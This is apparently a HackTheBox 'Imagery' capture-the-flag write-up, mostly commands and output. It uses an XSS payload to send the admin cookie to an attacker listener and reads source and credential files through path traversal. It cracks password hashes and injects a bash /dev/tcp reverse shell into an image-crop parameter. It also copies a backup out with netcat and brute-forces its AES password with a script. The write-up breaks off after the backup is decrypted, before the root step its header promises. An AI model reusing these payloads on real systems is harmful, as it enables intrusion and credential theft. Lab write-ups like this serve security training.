WriteupsHTB — Imagery
WebMediumLinux
HTB — Imagery
ImageMagick policy bypass enables SSRF and local file read to steal credentials. Sudo misconfiguration grants root access.
October 4, 2025HackTheBox
#ImageMagick#SSRF#File Read#Sudo
nmap
sh
nmap -sC -sV -p- -Pn 10.10.11.88 -oN nmap
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-09-29 08:51 EDT
Stats: 0:00:37 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan
Service scan Timing: About 50.00% done; ETC: 08:52 (0:00:26 remaining)
Stats: 0:01:08 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan
Service scan Timing: About 50.00% done; ETC: 08:53 (0:00:57 remaining)
Nmap scan report for 10.10.11.88
Host is up (0.042s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.7p1 Ubuntu 7ubuntu4.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 35:94:fb:70:36:1a:26:3c:a8:3c:5a:5a:e4:fb:8c:18 (ECDSA)
|_ 256 c2:52:7c:42:61:ce:97:9d:12:d5:01:1c:ba:68:0f:fa (ED25519)
8000/tcp open http-alt Werkzeug/3.1.3 Python/3.12.7
|_http-server-header: Werkzeug/3.1.3 Python/3.12.7
|_http-title: Image Gallery
| fingerprint-strings:
| FourOhFourRequest:
| HTTP/1.1 404 NOT FOUND
| Server: Werkzeug/3.1.3 Python/3.12.7
| Date: Mon, 29 Sep 2025 12:52:10 GMT
| Content-Type: text/html; charset=utf-8
| Content-Length: 207
| Connection: close
| <!doctype html>
| <html lang=en>
| <title>404 Not Found</title>
| <h1>Not Found</h1>
| <p>The requested URL was not found on the server. If you entered the URL manually please check your spelling and try again.</p>
| GetRequest:
| HTTP/1.1 200 OK
| Server: Werkzeug/3.1.3 Python/3.12.7
| Date: Mon, 29 Sep 2025 12:52:04 GMT
| Content-Type: text/html; charset=utf-8
| Content-Length: 146960
| Connection: close
| <!DOCTYPE html>
| <html lang="en">
| <head>
| <meta charset="UTF-8">
| <meta name="viewport" content="width=device-width, initial-scale=1.0">
| <title>Image Gallery</title>
| <script src="static/tailwind.js"></script>
| <link rel="stylesheet" href="static/fonts.css">
| <script src="static/purify.min.js"></script>
| <style>
| body {
| font-family: 'Inter', sans-serif;
| margin: 0;
| padding: 0;
| box-sizing: border-box;
| display: flex;
| flex-direction: column;
| min-height: 100vh;
| position: fixed;
| top: 0;
| width: 100%;
| z-index: 50;
|_ #app-con
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port8000-TCP:V=7.94SVN%I=7%D=9/29%Time=68DA80F2%P=x86_64-pc-linux-gnu%r
SF:(GetRequest,2055,"HTTP/1\.1\x20200\x20OK\r\nServer:\x20Werkzeug/3\.1\.3
SF:\x20Python/3\.12\.7\r\nDate:\x20Mon,\x2029\x20Sep\x202025\x2012:52:04\x
SF:20GMT\r\nContent-Type:\x20text/html;\x20charset=utf-8\r\nContent-Length
SF::\x20146960\r\nConnection:\x20close\r\n\r\n<!DOCTYPE\x20html>\n<html\x2
SF:0lang=\"en\">\n<head>\n\x20\x20\x20\x20<meta\x20charset=\"UTF-8\">\n\x2
SF:0\x20\x20\x20<meta\x20name=\"viewport\"\x20content=\"width=device-width
SF:,\x20initial-scale=1\.0\">\n\x20\x20\x20\x20<title>Image\x20Gallery</ti
SF:tle>\n\x20\x20\x20\x20<script\x20src=\"static/tailwind\.js\"></script>\
SF:n\x20\x20\x20\x20<link\x20rel=\"stylesheet\"\x20href=\"static/fonts\.cs
SF:s\">\n\x20\x20\x20\x20<script\x20src=\"static/purify\.min\.js\"></scrip
SF:t>\n\n\x20\x20\x20\x20<style>\n\x20\x20\x20\x20\x20\x20\x20\x20body\x20
SF:{\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20font-family:\x20'Int
SF:er',\x20sans-serif;\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20ma
SF:rgin:\x200;\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20padding:\x
SF:200;\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20box-sizing:\x20bo
SF:rder-box;\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20display:\x20
SF:flex;\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20flex-direction:\
SF:x20column;\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20min-height:
SF:\x20100vh;\n\x20\x20\x20\x20\x20\x20\x20\x20}\n\x20\x20\x20\x20\x20\x20
SF:\x20\x20nav\x20{\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20posit
SF:ion:\x20fixed;\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20top:\x2
SF:00;\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20width:\x20100%;\n\
SF:x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20z-index:\x2050;\n\x20\x2
SF:0\x20\x20\x20\x20\x20\x20}\n\x20\x20\x20\x20\x20\x20\x20\x20#app-con")%
SF:r(FourOhFourRequest,184,"HTTP/1\.1\x20404\x20NOT\x20FOUND\r\nServer:\x2
SF:0Werkzeug/3\.1\.3\x20Python/3\.12\.7\r\nDate:\x20Mon,\x2029\x20Sep\x202
SF:025\x2012:52:10\x20GMT\r\nContent-Type:\x20text/html;\x20charset=utf-8\
SF:r\nContent-Length:\x20207\r\nConnection:\x20close\r\n\r\n<!doctype\x20h
SF:tml>\n<html\x20lang=en>\n<title>404\x20Not\x20Found</title>\n<h1>Not\x2
SF:0Found</h1>\n<p>The\x20requested\x20URL\x20was\x20not\x20found\x20on\x2
SF:0the\x20server\.\x20If\x20you\x20entered\x20the\x20URL\x20manually\x20p
SF:lease\x20check\x20your\x20spelling\x20and\x20try\x20again\.</p>\n");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
dirbusting
sh
feroxbuster -u http://10.10.11.88:8000/
___ ___ __ __ __ __ __ ___
|__ |__ |__) |__) | / ` / \ \_/ | | \ |__
| |___ | \ | \ | \__, \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓 ver: 2.12.0
───────────────────────────┬──────────────────────
🎯 Target Url │ http://10.10.11.88:8000/
🚀 Threads │ 50
📖 Wordlist │ /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
👌 Status Codes │ All Status Codes!
💥 Timeout (secs) │ 7
🦡 User-Agent │ feroxbuster/2.12.0
🔎 Extract Links │ true
🏁 HTTP methods │ [GET]
🔃 Recursion Depth │ 4
───────────────────────────┴──────────────────────
🏁 Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
404 GET 5l 31w 207c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
405 GET 5l 20w 153c http://10.10.11.88:8000/logout
405 GET 5l 20w 153c http://10.10.11.88:8000/login
401 GET 1l 4w 59c http://10.10.11.88:8000/images
405 GET 5l 20w 153c http://10.10.11.88:8000/register
200 GET 3l 282w 20343c http://10.10.11.88:8000/static/purify.min.js
200 GET 27l 48w 584c http://10.10.11.88:8000/static/fonts.css
405 GET 5l 20w 153c http://10.10.11.88:8000/upload_image
200 GET 83l 9103w 407279c http://10.10.11.88:8000/static/tailwind.js
200 GET 2779l 9472w 146960c http://10.10.11.88:8000/
[####################] - 65s 30014/30014 0s found:9 errors:0
[####################] - 65s 30000/30000 459/s http://10.10.11.88:8000/ report a bug

retrieve cookies
- https://book.hacktricks.wiki/en/pentesting-web/xss-cross-site-scripting/index.html#retrieve-cookies
sh
<img src=x onerror="location.href='http://10.10.14.2/?c='+ document.cookie">sh
python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.11.88 - - [29/Sep/2025 09:32:10] "GET /?c=session=.eJw9jbEOgzAMRP_Fc4UEZcpER74iMolLLSUGxc6AEP-Ooqod793T3QmRdU94zBEcYL8M4RlHeADrK2YWcFYqteg571R0EzSW1RupVaUC7o1Jv8aPeQxhq2L_rkHBTO2irU6ccaVydB9b4LoBKrMv2w.aNqKWA.-xIKAS4gRNrfrz9dEv2J0fBqvto HTTP/1.1" 200 -
10.10.11.88 - - [29/Sep/2025 09:32:10] code 404, message File not found
10.10.11.88 - - [29/Sep/2025 09:32:10] "GET /favicon.ico HTTP/1.1" 404 -- replace the cookie session
- and we are admin

lfi


sh
GET /admin/get_system_log?log_identifier=../../../../proc/self/environ
LANG=en_US.UTF-8PATH=/home/web/web/env/bin:/sbin:/usr/binUSER=webLOGNAME=webHOME=/home/webSHELL=/bin/bashINVOCATION_ID=5dc9a72f89954ae8972a5699f65ffbc8JOURNAL_STREAM=9:18594SYSTEMD_EXEC_PID=1364MEMORY_PRESSURE_WATCH=/sys/fs/cgroup/system.slice/flaskapp.service/memory.pressureMEMORY_PRESSURE_WRITE=c29tZSAyMDAwMDAgMjAwMDAwMAA=CRON_BYPASS_TOKEN=K7Zg9vB$24NmW!q8xR0p/runL!# config.py
sh
GET /admin/get_system_log?log_identifier=../../../../home/web/web/config.py HTTP/1.1python
HTTP/1.1 200 OK
Server: Werkzeug/3.1.3 Python/3.12.7
Date: Mon, 29 Sep 2025 20:07:02 GMT
Content-Disposition: attachment; filename=config.py
Content-Type: text/plain; charset=utf-8
Content-Length: 1809
Last-Modified: Tue, 05 Aug 2025 08:59:49 GMT
Cache-Control: no-cache
ETag: "1754384389.0-1809-1791169589"
Date: Mon, 29 Sep 2025 20:07:02 GMT
Vary: Cookie
Connection: close
import os
import ipaddress
DATA_STORE_PATH = 'db.json'
UPLOAD_FOLDER = 'uploads'
SYSTEM_LOG_FOLDER = 'system_logs'
os.makedirs(UPLOAD_FOLDER, exist_ok=True)
os.makedirs(os.path.join(UPLOAD_FOLDER, 'admin'), exist_ok=True)
os.makedirs(os.path.join(UPLOAD_FOLDER, 'admin', 'converted'), exist_ok=True)
os.makedirs(os.path.join(UPLOAD_FOLDER, 'admin', 'transformed'), exist_ok=True)
os.makedirs(SYSTEM_LOG_FOLDER, exist_ok=True)
MAX_LOGIN_ATTEMPTS = 10
ACCOUNT_LOCKOUT_DURATION_MINS = 1
ALLOWED_MEDIA_EXTENSIONS = {'jpg', 'jpeg', 'png', 'gif', 'bmp', 'tiff', 'pdf'}
ALLOWED_IMAGE_EXTENSIONS_FOR_TRANSFORM = {'jpg', 'jpeg', 'png', 'gif', 'bmp', 'tiff'}
ALLOWED_UPLOAD_MIME_TYPES = {
'image/jpeg',
'image/png',
'image/gif',
'image/bmp',
'image/tiff',
'application/pdf'
}
ALLOWED_TRANSFORM_MIME_TYPES = {
'image/jpeg',
'image/png',
'image/gif',
'image/bmp',
'image/tiff'
}
MAX_FILE_SIZE_MB = 1
MAX_FILE_SIZE_BYTES = MAX_FILE_SIZE_MB * 1024 * 1024
BYPASS_LOCKOUT_HEADER = 'X-Bypass-Lockout'
BYPASS_LOCKOUT_VALUE = os.getenv('CRON_BYPASS_TOKEN', 'default-secret-token-for-dev')
FORBIDDEN_EXTENSIONS = {'php', 'php3', 'php4', 'php5', 'phtml', 'exe', 'sh', 'bat', 'cmd', 'js', 'jsp', 'asp', 'aspx', 'cgi', 'pl', 'py', 'rb', 'dll', 'vbs', 'vbe', 'jse', 'wsf', 'wsh', 'psc1', 'ps1', 'jar', 'com', 'svg', 'xml', 'html', 'htm'}
BLOCKED_APP_PORTS = {8080, 8443, 3000, 5000, 8888, 53}
OUTBOUND_BLOCKED_PORTS = {80, 8080, 53, 5000, 8000, 22, 21}
PRIVATE_IP_RANGES = [
ipaddress.ip_network('127.0.0.0/8'),
ipaddress.ip_network('172.0.0.0/12'),
ipaddress.ip_network('10.0.0.0/8'),
ipaddress.ip_network('169.254.0.0/16')
]
AWS_METADATA_IP = ipaddress.ip_address('169.254.169.254')
IMAGEMAGICK_CONVERT_PATH = '/usr/bin/convert'
EXIFTOOL_PATH = '/usr/bin/exiftool'
db.json
json
GET /admin/get_system_log?log_identifier=../../../../home/web/web/db.json HTTP/1.1
{
"users": [
{
"username": "admin@imagery.htb",
"password": "5d9c1d50...",
"isAdmin": true,
"displayId": "a1b2c3d4",
"login_attempts": 0,
"isTestuser": false,
"failed_login_attempts": 0,
"locked_until": null
},
{
"username": "testuser@imagery.htb",
"password": "2c65c8d7...",
"isAdmin": false,
"displayId": "e5f6g7h8",
"login_attempts": 0,
"isTestuser": true,
"failed_login_attempts": 0,
"locked_until": null
}
],
"images": [],
"image_collections": [
{
"name": "My Images"
},
{
"name": "Unsorted"
},
{
"name": "Converted"
},
{
"name": "Transformed"
}
],
"bug_reports": []
}crack testuser password
sh
hashcat -m 0 2c65c8d7... /usr/share/wordlists/rockyou.txt
hashcat (v6.2.6) starting
OpenCL API (OpenCL 3.0 PoCL 3.1+debian Linux, None+Asserts, RELOC, SPIR, LLVM 15.0.6, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]
==================================================================================================================================================
* Device #1: pthread-haswell-13th Gen Intel(R) Core(TM) i9-13900HX, 4239/8543 MB (2048 MB allocatable), 4MCU
Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256
Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1
Optimizers applied:
* Zero-Byte
* Early-Skip
* Not-Salted
* Not-Iterated
* Single-Hash
* Single-Salt
* Raw-Hash
ATTENTION! Pure (unoptimized) backend kernels selected.
Pure kernels can crack longer passwords, but drastically reduce performance.
If you want to switch to optimized kernels, append -O to your commandline.
See the above message to find out about the exact limits.
Watchdog: Temperature abort trigger set to 90c
Host memory required for this attack: 1 MB
Dictionary cache hit:
* Filename..: /usr/share/wordlists/rockyou.txt
* Passwords.: 14344385
* Bytes.....: 139921507
* Keyspace..: 14344385
2c65c8d7...:iambatman app.py
sh
HTTP/1.1 200 OK
Server: Werkzeug/3.1.3 Python/3.12.7
Date: Mon, 29 Sep 2025 20:17:24 GMT
Content-Disposition: attachment; filename=app.py
Content-Type: text/plain; charset=utf-8
Content-Length: 1943
Last-Modified: Tue, 05 Aug 2025 15:21:25 GMT
Cache-Control: no-cache
ETag: "1754407285.0-1943-788468480"
Date: Mon, 29 Sep 2025 20:17:24 GMT
Vary: Cookie
Connection: close
from flask import Flask, render_template
import os
import sys
from datetime import datetime
from config import *
from utils import _load_data, _save_data
from utils import *
from api_auth import bp_auth
from api_upload import bp_upload
from api_manage import bp_manage
from api_edit import bp_edit
from api_admin import bp_admin
from api_misc import bp_misc
app_core = Flask(__name__)
app_core.secret_key = os.urandom(24).hex()
app_core.config['SESSION_COOKIE_HTTPONLY'] = False
app_core.register_blueprint(bp_auth)
app_core.register_blueprint(bp_upload)
app_core.register_blueprint(bp_manage)
app_core.register_blueprint(bp_edit)
app_core.register_blueprint(bp_admin)
app_core.register_blueprint(bp_misc)
@app_core.route('/')
def main_dashboard():
return render_template('index.html')
if __name__ == '__main__':
current_database_data = _load_data()
default_collections = ['My Images', 'Unsorted', 'Converted', 'Transformed']
existing_collection_names_in_database = {g['name'] for g in current_database_data.get('image_collections', [])}
for collection_to_add in default_collections:
if collection_to_add not in existing_collection_names_in_database:
current_database_data.setdefault('image_collections', []).append({'name': collection_to_add})
_save_data(current_database_data)
for user_entry in current_database_data.get('users', []):
user_log_file_path = os.path.join(SYSTEM_LOG_FOLDER, f"{user_entry['username']}.log")
if not os.path.exists(user_log_file_path):
with open(user_log_file_path, 'w') as f:
f.write(f"[{datetime.now().isoformat()}] Log file created for {user_entry['username']}.\n")
port = int(os.environ.get("PORT", 8000))
if port in BLOCKED_APP_PORTS:
print(f"Port {port} is blocked for security reasons. Please choose another port.")
sys.exit(1)
app_core.run(debug=False, host='0.0.0.0', port=port)
api_edit.py
python
HTTP/1.1 200 OK
Server: Werkzeug/3.1.3 Python/3.12.7
Date: Mon, 29 Sep 2025 20:18:36 GMT
Content-Disposition: attachment; filename=api_edit.py
Content-Type: text/plain; charset=utf-8
Content-Length: 11876
Last-Modified: Tue, 05 Aug 2025 08:57:07 GMT
Cache-Control: no-cache
ETag: "1754384227.0-11876-2487031038"
Date: Mon, 29 Sep 2025 20:18:36 GMT
Vary: Cookie
Connection: close
from flask import Blueprint, request, jsonify, session
from config import *
import os
import uuid
import subprocess
from datetime import datetime
from utils import _load_data, _save_data, _hash_password, _log_event, _generate_display_id, _sanitize_input, get_file_mimetype, _calculate_file_md5
bp_edit = Blueprint('bp_edit', __name__)
@bp_edit.route('/apply_visual_transform', methods=['POST'])
def apply_visual_transform():
if not session.get('is_testuser_account'):
return jsonify({'success': False, 'message': 'Feature is still in development.'}), 403
if 'username' not in session:
return jsonify({'success': False, 'message': 'Unauthorized. Please log in.'}), 401
request_payload = request.get_json()
image_id = request_payload.get('imageId')
transform_type = request_payload.get('transformType')
params = request_payload.get('params', {})
if not image_id or not transform_type:
return jsonify({'success': False, 'message': 'Image ID and transform type are required.'}), 400
application_data = _load_data()
original_image = next((img for img in application_data['images'] if img['id'] == image_id and img['uploadedBy'] == session['username']), None)
if not original_image:
return jsonify({'success': False, 'message': 'Image not found or unauthorized to transform.'}), 404
original_filepath = os.path.join(UPLOAD_FOLDER, original_image['filename'])
if not os.path.exists(original_filepath):
return jsonify({'success': False, 'message': 'Original image file not found on server.'}), 404
if original_image.get('actual_mimetype') not in ALLOWED_TRANSFORM_MIME_TYPES:
return jsonify({'success': False, 'message': f"Transformation not supported for '{original_image.get('actual_mimetype')}' files."}), 400
original_ext = original_image['filename'].rsplit('.', 1)[1].lower()
if original_ext not in ALLOWED_IMAGE_EXTENSIONS_FOR_TRANSFORM:
return jsonify({'success': False, 'message': f"Transformation not supported for {original_ext.upper()} files."}), 400
try:
unique_output_filename = f"transformed_{uuid.uuid4()}.{original_ext}"
output_filename_in_db = os.path.join('admin', 'transformed', unique_output_filename)
output_filepath = os.path.join(UPLOAD_FOLDER, output_filename_in_db)
if transform_type == 'crop':
x = str(params.get('x'))
y = str(params.get('y'))
width = str(params.get('width'))
height = str(params.get('height'))
command = f"{IMAGEMAGICK_CONVERT_PATH} {original_filepath} -crop {width}x{height}+{x}+{y} {output_filepath}"
subprocess.run(command, capture_output=True, text=True, shell=True, check=True)
elif transform_type == 'rotate':
degrees = str(params.get('degrees'))
command = [IMAGEMAGICK_CONVERT_PATH, original_filepath, '-rotate', degrees, output_filepath]
subprocess.run(command, capture_output=True, text=True, check=True)
elif transform_type == 'saturation':
value = str(params.get('value'))
command = [IMAGEMAGICK_CONVERT_PATH, original_filepath, '-modulate', f"100,{float(value)*100},100", output_filepath]
subprocess.run(command, capture_output=True, text=True, check=True)
elif transform_type == 'brightness':
value = str(params.get('value'))
command = [IMAGEMAGICK_CONVERT_PATH, original_filepath, '-modulate', f"100,100,{float(value)*100}", output_filepath]
subprocess.run(command, capture_output=True, text=True, check=True)
elif transform_type == 'contrast':
value = str(params.get('value'))
command = [IMAGEMAGICK_CONVERT_PATH, original_filepath, '-modulate', f"{float(value)*100},{float(value)*100},{float(value)*100}", output_filepath]
subprocess.run(command, capture_output=True, text=True, check=True)
else:
return jsonify({'success': False, 'message': 'Unsupported transformation type.'}), 400
new_image_id = str(uuid.uuid4())
new_image_entry = {
'id': new_image_id,
'filename': output_filename_in_db,
'url': f'/uploads/{output_filename_in_db}',
'title': f"Transformed: {original_image['title']}",
'description': f"Transformed from {original_image['title']} ({transform_type}).",
'timestamp': datetime.now().isoformat(),
'uploadedBy': session['username'],
'uploadedByDisplayId': session['displayId'],
'group': 'Transformed',
'type': 'transformed',
'original_id': original_image['id'],
'actual_mimetype': get_file_mimetype(output_filepath)
}
application_data['images'].append(new_image_entry)
if not any(coll['name'] == 'Transformed' for coll in application_data.get('image_collections', [])):
application_data.setdefault('image_collections', []).append({'name': 'Transformed'})
_save_data(application_data)
return jsonify({'success': True, 'message': 'Image transformed successfully!', 'newImageUrl': new_image_entry['url'], 'newImageId': new_image_id}), 200
except subprocess.CalledProcessError as e:
return jsonify({'success': False, 'message': f'Image transformation failed: {e.stderr.strip()}'}), 500
except Exception as e:
return jsonify({'success': False, 'message': f'An unexpected error occurred during transformation: {str(e)}'}), 500
@bp_edit.route('/convert_image', methods=['POST'])
def convert_image():
if not session.get('is_testuser_account'):
return jsonify({'success': False, 'message': 'Feature is still in development.'}), 403
if 'username' not in session:
return jsonify({'success': False, 'message': 'Unauthorized. Please log in.'}), 401
request_payload = request.get_json()
image_id = request_payload.get('imageId')
target_format = request_payload.get('targetFormat')
if not image_id or not target_format:
return jsonify({'success': False, 'message': 'Image ID and target format are required.'}), 400
if target_format.lower() not in ALLOWED_MEDIA_EXTENSIONS:
return jsonify({'success': False, 'message': 'Target format not allowed.'}), 400
application_data = _load_data()
original_image = next((img for img in application_data['images'] if img['id'] == image_id and img['uploadedBy'] == session['username']), None)
if not original_image:
return jsonify({'success': False, 'message': 'Image not found or unauthorized to convert.'}), 404
original_filepath = os.path.join(UPLOAD_FOLDER, original_image['filename'])
if not os.path.exists(original_filepath):
return jsonify({'success': False, 'message': 'Original image file not found on server.'}), 404
current_ext = original_image['filename'].rsplit('.', 1)[1].lower()
if target_format.lower() == current_ext:
return jsonify({'success': False, 'message': f'Image is already in {target_format.upper()} format.'}), 400
try:
unique_output_filename = f"converted_{uuid.uuid4()}.{target_format.lower()}"
output_filename_in_db = os.path.join('admin', 'converted', unique_output_filename)
output_filepath = os.path.join(UPLOAD_FOLDER, output_filename_in_db)
command = [IMAGEMAGICK_CONVERT_PATH, original_filepath, output_filepath]
subprocess.run(command, capture_output=True, text=True, check=True)
new_file_md5 = _calculate_file_md5(output_filepath)
if new_file_md5 is None:
os.remove(output_filepath)
return jsonify({'success': False, 'message': 'Failed to calculate MD5 hash for new file.'}), 500
for img_entry in application_data['images']:
if img_entry.get('type') == 'converted' and img_entry.get('original_id') == original_image['id']:
existing_converted_filepath = os.path.join(UPLOAD_FOLDER, img_entry['filename'])
existing_file_md5 = img_entry.get('md5_hash')
if existing_file_md5 is None:
existing_file_md5 = _calculate_file_md5(existing_converted_filepath)
if existing_file_md5:
img_entry['md5_hash'] = existing_file_md5
_save_data(application_data)
if existing_file_md5 == new_file_md5:
os.remove(output_filepath)
return jsonify({'success': False, 'message': 'An identical converted image already exists.'}), 409
new_image_id = str(uuid.uuid4())
new_image_entry = {
'id': new_image_id,
'filename': output_filename_in_db,
'url': f'/uploads/{output_filename_in_db}',
'title': f"Converted: {original_image['title']} to {target_format.upper()}",
'description': f"Converted from {original_image['filename']} to {target_format.upper()}.",
'timestamp': datetime.now().isoformat(),
'uploadedBy': session['username'],
'uploadedByDisplayId': session['displayId'],
'group': 'Converted',
'type': 'converted',
'original_id': original_image['id'],
'actual_mimetype': get_file_mimetype(output_filepath),
'md5_hash': new_file_md5
}
application_data['images'].append(new_image_entry)
if not any(coll['name'] == 'Converted' for coll in application_data.get('image_collections', [])):
application_data.setdefault('image_collections', []).append({'name': 'Converted'})
_save_data(application_data)
return jsonify({'success': True, 'message': 'Image converted successfully!', 'newImageUrl': new_image_entry['url'], 'newImageId': new_image_id}), 200
except subprocess.CalledProcessError as e:
if os.path.exists(output_filepath):
os.remove(output_filepath)
return jsonify({'success': False, 'message': f'Image conversion failed: {e.stderr.strip()}'}), 500
except Exception as e:
return jsonify({'success': False, 'message': f'An unexpected error occurred during conversion: {str(e)}'}), 500
@bp_edit.route('/delete_image_metadata', methods=['POST'])
def delete_image_metadata():
if not session.get('is_testuser_account'):
return jsonify({'success': False, 'message': 'Feature is still in development.'}), 403
if 'username' not in session:
return jsonify({'success': False, 'message': 'Unauthorized. Please log in.'}), 401
request_payload = request.get_json()
image_id = request_payload.get('imageId')
if not image_id:
return jsonify({'success': False, 'message': 'Image ID is required.'}), 400
application_data = _load_data()
image_entry = next((img for img in application_data['images'] if img['id'] == image_id and img['uploadedBy'] == session['username']), None)
if not image_entry:
return jsonify({'success': False, 'message': 'Image not found or unauthorized to modify.'}), 404
filepath = os.path.join(UPLOAD_FOLDER, image_entry['filename'])
if not os.path.exists(filepath):
return jsonify({'success': False, 'message': 'Image file not found on server.'}), 404
try:
command = [EXIFTOOL_PATH, '-all=', '-overwrite_original', filepath]
subprocess.run(command, capture_output=True, text=True, check=True)
_save_data(application_data)
return jsonify({'success': True, 'message': 'Metadata deleted successfully from image!'}), 200
except subprocess.CalledProcessError as e:
return jsonify({'success': False, 'message': f'Failed to delete metadata: {e.stderr.strip()}'}), 500
except Exception as e:
return jsonify({'success': False, 'message': f'An unexpected error occurred during metadata deletion: {str(e)}'}), 500
os injection
- vulnerable code
sh
@bp_edit.route('/apply_visual_transform', methods=['POST'])
def apply_visual_transform():
if not session.get('is_testuser_account'):
return jsonify({'success': False, 'message': 'Feature is still in development.'}), 403
if 'username' not in session:
return jsonify({'success': False, 'message': 'Unauthorized. Please log in.'}), 401
request_payload = request.get_json()
image_id = request_payload.get('imageId')
transform_type = request_payload.get('transformType')
params = request_payload.get('params', {})
if not image_id or not transform_type:
return jsonify({'success': False, 'message': 'Image ID and transform type are required.'}), 400
application_data = _load_data()
original_image = next((img for img in application_data['images'] if img['id'] == image_id and img['uploadedBy'] == session['username']), None)
if not original_image:
return jsonify({'success': False, 'message': 'Image not found or unauthorized to transform.'}), 404
original_filepath = os.path.join(UPLOAD_FOLDER, original_image['filename'])
if not os.path.exists(original_filepath):
return jsonify({'success': False, 'message': 'Original image file not found on server.'}), 404
if original_image.get('actual_mimetype') not in ALLOWED_TRANSFORM_MIME_TYPES:
return jsonify({'success': False, 'message': f"Transformation not supported for '{original_image.get('actual_mimetype')}' files."}), 400
original_ext = original_image['filename'].rsplit('.', 1)[1].lower()
if original_ext not in ALLOWED_IMAGE_EXTENSIONS_FOR_TRANSFORM:
return jsonify({'success': False, 'message': f"Transformation not supported for {original_ext.upper()} files."}), 400
try:
unique_output_filename = f"transformed_{uuid.uuid4()}.{original_ext}"
output_filename_in_db = os.path.join('admin', 'transformed', unique_output_filename)
output_filepath = os.path.join(UPLOAD_FOLDER, output_filename_in_db)
if transform_type == 'crop':
x = str(params.get('x'))
y = str(params.get('y'))
width = str(params.get('width'))
height = str(params.get('height'))
command = f"{IMAGEMAGICK_CONVERT_PATH} {original_filepath} -crop {width}x{height}+{x}+{y} {output_filepath}"
subprocess.run(command, capture_output=True, text=True, shell=True, check=True)
elif transform_type == 'rotate':
degrees = str(params.get('degrees'))
command = [IMAGEMAGICK_CONVERT_PATH, original_filepath, '-rotate', degrees, output_filepath]
subprocess.run(command, capture_output=True, text=True, check=True)


reverse shell

sh
POST /apply_visual_transform HTTP/1.1
Host: 10.10.11.88:8000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: http://10.10.11.88:8000/
Content-Type: application/json
Content-Length: 203
Origin: http://10.10.11.88:8000
DNT: 1
Sec-GPC: 1
Connection: keep-alive
Cookie: session=.eJxNjTEOgzAMRe_iuWKjRZno2FNELjGJJWJQ7AwIcfeSAanjf_9J74DAui24fwI4oH5-xlca4AGs75BZwM24KLXtOW9UdBU0luiN1KpS-Tdu5nGa1ioGzkq9rsYEM12JWxk5Y6Syd8m-cP4Ay4kxcQ.aNrpDQ.QmuAKhaR45GwnwGeNCqFV7plvGE
Priority: u=0
{"imageId":"ba8750ec-6949-447f-b389-d3faa84c0442","transformType":"crop","params":{"x":"1; bash -c 'bash -i >& /dev/tcp/10.10.14.2/443 0>&1' ;#","y":0,"width":540,"height":360}}sh
rlwrap nc -lnvp 443
Listening on 0.0.0.0 443
Connection received on 10.10.11.88 60432
bash: cannot set terminal process group (1364): Inappropriate ioctl for device
bash: no job control in this shell
web@Imagery:~/web$ whoami
whoami
web
linpeas
sh
══════════╣ Backup folders
drwx------ 2 root root 4096 Sep 22 19:10 /etc/lvm/backup
drwxr-xr-x 2 root root 3 Apr 18 2022 /snap/core22/2045/var/backups
total 0
drwxr-xr-x 2 root root 3 Apr 18 2022 /snap/core22/2133/var/backups
total 0
drwxr-xr-x 3 root root 4096 Oct 7 2024 /usr/lib/python3/dist-packages/botocore/data/backup
total 4
drwxr-xr-x 2 root root 4096 Oct 7 2024 2018-11-15
drwxr-xr-x 2 root root 4096 Sep 22 18:56 /var/backup
total 22516
-rw-rw-r-- 1 root root 23054471 Aug 6 2024 web_20250806_120723.zip.aestransfer zip.aes
sh
nc -nvlp 4444 > web_20250806_120723.zip.aes
Listening on 0.0.0.0 4444
Connection received on 10.10.11.88 43350sh
web@Imagery:/var/backup$ nc -w 3 10.10.14.2 4444 < web_20250806_120723.zip.aessh
file web_20250806_120723.zip.aes
web_20250806_120723.zip.aes: AES encrypted data, version 2, created by "pyAesCrypt 6.1.1"
python
#!/usr/bin/env python3
import pyAesCrypt
import os
def decrypt_aes(password, encrypted_file, output_file):
try:
buffer_size = 64 * 1024
pyAesCrypt.decryptFile(encrypted_file, output_file, password, buffer_size)
# Check if decryption was successful
if os.path.exists(output_file) and os.path.getsize(output_file) > 0:
return True
except:
pass
return False
encrypted_file = "web_20250806_120723.zip.aes"
with open('/usr/share/wordlists/rockyou.txt', 'r', errors='ignore') as f:
for line in f:
password = line.strip()
if not password:
continue
output_file = f"decrypted_{hash(password)}.zip"
if decrypt_aes(password, encrypted_file, output_file):
print(f"[SUCCESS] Password: {password}")
print(f"File saved as: {output_file}")
break
sh
python3 pyaescrypt.py
[SUCCESS] Password: bestfriends
File saved as: decrypted_-7187609165043174575.zipsh
